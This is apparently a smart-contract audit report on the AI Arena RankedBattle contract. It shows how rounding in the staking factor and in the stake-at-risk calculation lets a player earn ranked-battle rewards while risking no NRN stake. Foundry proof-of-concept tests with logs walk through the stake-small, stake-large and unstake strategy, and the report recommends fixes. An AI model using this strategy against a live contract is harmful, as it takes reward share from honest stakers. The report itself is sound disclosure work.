# Due to inaccuracies in calculation, players may potentially earn substantial staking rewards in each round without any financial risk.

## Impact
In general, a high stake amount implies high risk and high reward.But due to some simplified approximations in calculations, there might be a strategy allowing players to earn points in each round **without financial risk**.  

## Proof of Concept

**First, The function _getStakingFactor returns a Staking factor of 1 for NRN tokens staked less than 1 ether. This implies that for token quantities ranging from 1 to 1 ether, the staking rewards would be the same under similar conditions.**
  
Github:[[527](https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/RankedBattle.sol#L527)]
```solidity
    function _getStakingFactor(
        uint256 tokenId, 
        uint256 stakeAtRisk
    ) 
        private 
        view 
        returns (uint256) 
    {
      uint256 stakingFactor_ = FixedPointMathLib.sqrt(
          (amountStaked[tokenId] + stakeAtRisk) / 10**18
      );
      if (stakingFactor_ == 0) {
        stakingFactor_ = 1;
      }
      return stakingFactor_;
    }
```
**Secondly,When calculating curStakeAtRisk, stakes below 1000 will be discarded, meaning stakes below 1000 will never have funds at risk.**  
```solidity
    curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
```
**Then, when a user loses a battle, the contract checks if the fighter has any points. If points exist, regardless of whether they are sufficient to cover stakingFactor[tokenId] * eloFactor, the worst-case scenario is merely resetting the points to zero, without threatening the assets.**  
Github:[[481](https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/RankedBattle.sol#L481)]
```solidity
        points = stakingFactor[tokenId] * eloFactor;
        if (points > accumulatedPointsPerFighter[tokenId][roundId]) {
            points = accumulatedPointsPerFighter[tokenId][roundId];
        }
```

**Thirdly, without risking funds or stakes, any battle will not affect the points.This means that once a player achieves a satisfactory amount of points, they can withdraw their stake, ensuring that their score for that round remains unchanged.**  
Github:[[342](https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/RankedBattle.sol#L342)]  
```solidity
    if (amountStaked[tokenId] + stakeAtRisk > 0) {
        _addResultPoints(battleResult, tokenId, eloFactor, mergingPortion, fighterOwner);
    }
```

Combining the three calculations mentioned above, we can deduce that:  
* Before staking, try to increase your Elo ranking as much as possible.
* A player initially stakes 1 NRN (not 1 ether) for battle.(or just under 1000)  
* If he wins, his points will be greater than 0. If he loses, he continue battling or repeat the battle until his points exceed 0.(stake never at risk)  
* Then, the player continues to stake a large amount of NRN and participates in a battle. If he wins the battle, the player earns a substantial number of points. However, if he loses the battle, the player's assets are not at risk. He can then immediately withdraw his stake.  
* Since he has already withdrawn his token stake, if he is attacked and loses the battle afterward, his points will not decrease.  
  
Conditions for this strategy to work effectively:  
* The player holds a large amount of NRN tokens. (Ensure satisfactory points are obtained in a single battle, but the square root operation may weaken this)  
* The player owns multiple fighters. (allowing them to employ multiple strategies within a single round) 
* The total number of points in the pool is relatively small, so the points obtained are enough to achieve satisfactory returns at the end of the round.


Restrictions:  
* the strategy can only be implemented once per fight in a round. (After withdrawing the stake, it will not be possible to continue adding to the stake)So, the duration of each round is quite important. The sponsor mentioned that each round will last for one week.I think it's not long.
* The total points in the pool, Elo ratings, and other factors all influence the profitability of the strategy.  

I'm not sure if the sponsor allows this scenario to happen. Although there are many restrictions, I believe it's very suitable for investors seeking stable profits, as this strategy involves no asset risk.

POC:  

1. **Staking 1 NRN and 1 ether of NRN results in the same point under all other identical conditions.**  
  
```soldity
    function testNoStakePlayerWinBattleAndGetPoint() public {
        address player = vm.addr(3);
        address player2 = vm.addr(4);
        _mintFromMergingPool(player);
        _mintFromMergingPool(player2);
        _fundUserWith4kNeuronByTreasury(player);
        _fundUserWith4kNeuronByTreasury(player2);
        vm.prank(player);
        _rankedBattleContract.stakeNRN(1, 0);

        vm.prank(player2);
        _rankedBattleContract.stakeNRN(1 ether, 1);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);

        _rankedBattleContract.setNewRound();
        emit log_uint(_rankedBattleContract.accumulatedPointsPerAddress(player, 0));
        emit log_uint(_rankedBattleContract.accumulatedPointsPerAddress(player2, 0));
        vm.prank(player);
        _rankedBattleContract.claimNRN();
        vm.prank(player2);
        _rankedBattleContract.claimNRN();

    }
```

result  
```solidity
Running 1 test for test/RankedBattle.t.sol:RankedBattleTest
[PASS] testNoStakePlayerWinBattleAndGetPoint() (gas: 1772254)
Logs:
  750
  750

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.13ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```  
2. **under 1000 stake, never lose stake**
```solidity

    function testUnder1000Stake() public{
        address player = vm.addr(3);
        _mintFromMergingPool(player);
        uint8 tokenId = 0;
        _fundUserWith4kNeuronByTreasury(player);
        vm.prank(player);
        _rankedBattleContract.stakeNRN(999, 0);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
        console.log("stake at risk:");
        emit log_uint(_stakeAtRiskContract.stakeAtRisk(0,0));

    }
```
result
```solidity
Running 1 test for test/RankedBattle.t.sol:RankedBattleTest
[PASS] testUnder1000Stake() (gas: 800974)
Logs:
  stake at risk:
  0

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.22ms
```
3. **After a failure without points, some assets enter risk.**  
```solidity
    function testLose() public{
        address player = vm.addr(3);
        _mintFromMergingPool(player);
        _fundUserWith4kNeuronByTreasury(player);
        vm.prank(player);
        _rankedBattleContract.stakeNRN(4_000 * 10 ** 18, 0);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
        console.log("strategyPlayer stake at risk:");
        emit log_uint(_stakeAtRiskContract.stakeAtRisk(0,0));
    }
```
result
```solidity
Running 1 test for test/RankedBattle.t.sol:RankedBattleTest
[PASS] testLose() (gas: 839095)
Logs:
  strategyPlayer stake at risk:
  4000000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.15ms
```  
  
4. strategy
**I simulated the first round where the strategy succeeded in earning tokens, and the second round where the strategy failed, but no funds were at risk.**  

```solidity
    function testStrategy() public{
        address strategyPlayer = vm.addr(4);
        address player = vm.addr(3);
        _mintFromMergingPool(strategyPlayer);
        _mintFromMergingPool(player);
        _fundUserWith4kNeuronByTreasury(player);
        _fundUserWith4kNeuronByTreasury(strategyPlayer);

        vm.prank(player);
        _rankedBattleContract.stakeNRN(4_000 * 10 ** 18, 1);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);

        vm.prank(strategyPlayer);
        _rankedBattleContract.stakeNRN(1, 0);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);

        vm.prank(strategyPlayer);
        _rankedBattleContract.stakeNRN(4_000 * 10 ** 18 - 1 , 0);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        vm.prank(strategyPlayer);
        _rankedBattleContract.unstakeNRN(4_000 * 10 ** 18,0);

        _rankedBattleContract.setNewRound();
        vm.prank(player);
        _rankedBattleContract.claimNRN();
        vm.prank(strategyPlayer);
        _rankedBattleContract.claimNRN();
        emit log_uint(_rankedBattleContract.amountClaimed(player));
        emit log_uint(_rankedBattleContract.amountClaimed(strategyPlayer));

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);


        vm.prank(strategyPlayer);
        _rankedBattleContract.stakeNRN(1, 0);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);

        vm.prank(strategyPlayer);
        _rankedBattleContract.stakeNRN(4_000 * 10 ** 18 - 1 , 0);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
        vm.prank(strategyPlayer);
        _rankedBattleContract.unstakeNRN(4_000 * 10 ** 18,0);
        console.log("strategyPlayer stake at risk:");
        emit log_uint(_stakeAtRiskContract.stakeAtRisk(1,1));
    }
```

result
```solidity
Logs:
  2480314960629921259842
  2519685039370078740157

Points fix by stakingFactor[tokenId] * eloFactor
  94500
  strategyPlayer stake at risk:
  0
```

## Tools Used
Manual audit,foundry
## Recommended Mitigation Steps
* Consider setting a minimum stake amount.  
* Consider setting some assets as "at risk" when points are insufficient for payment.Instead of simply clearing insufficient points, consider marking some assets as "at risk."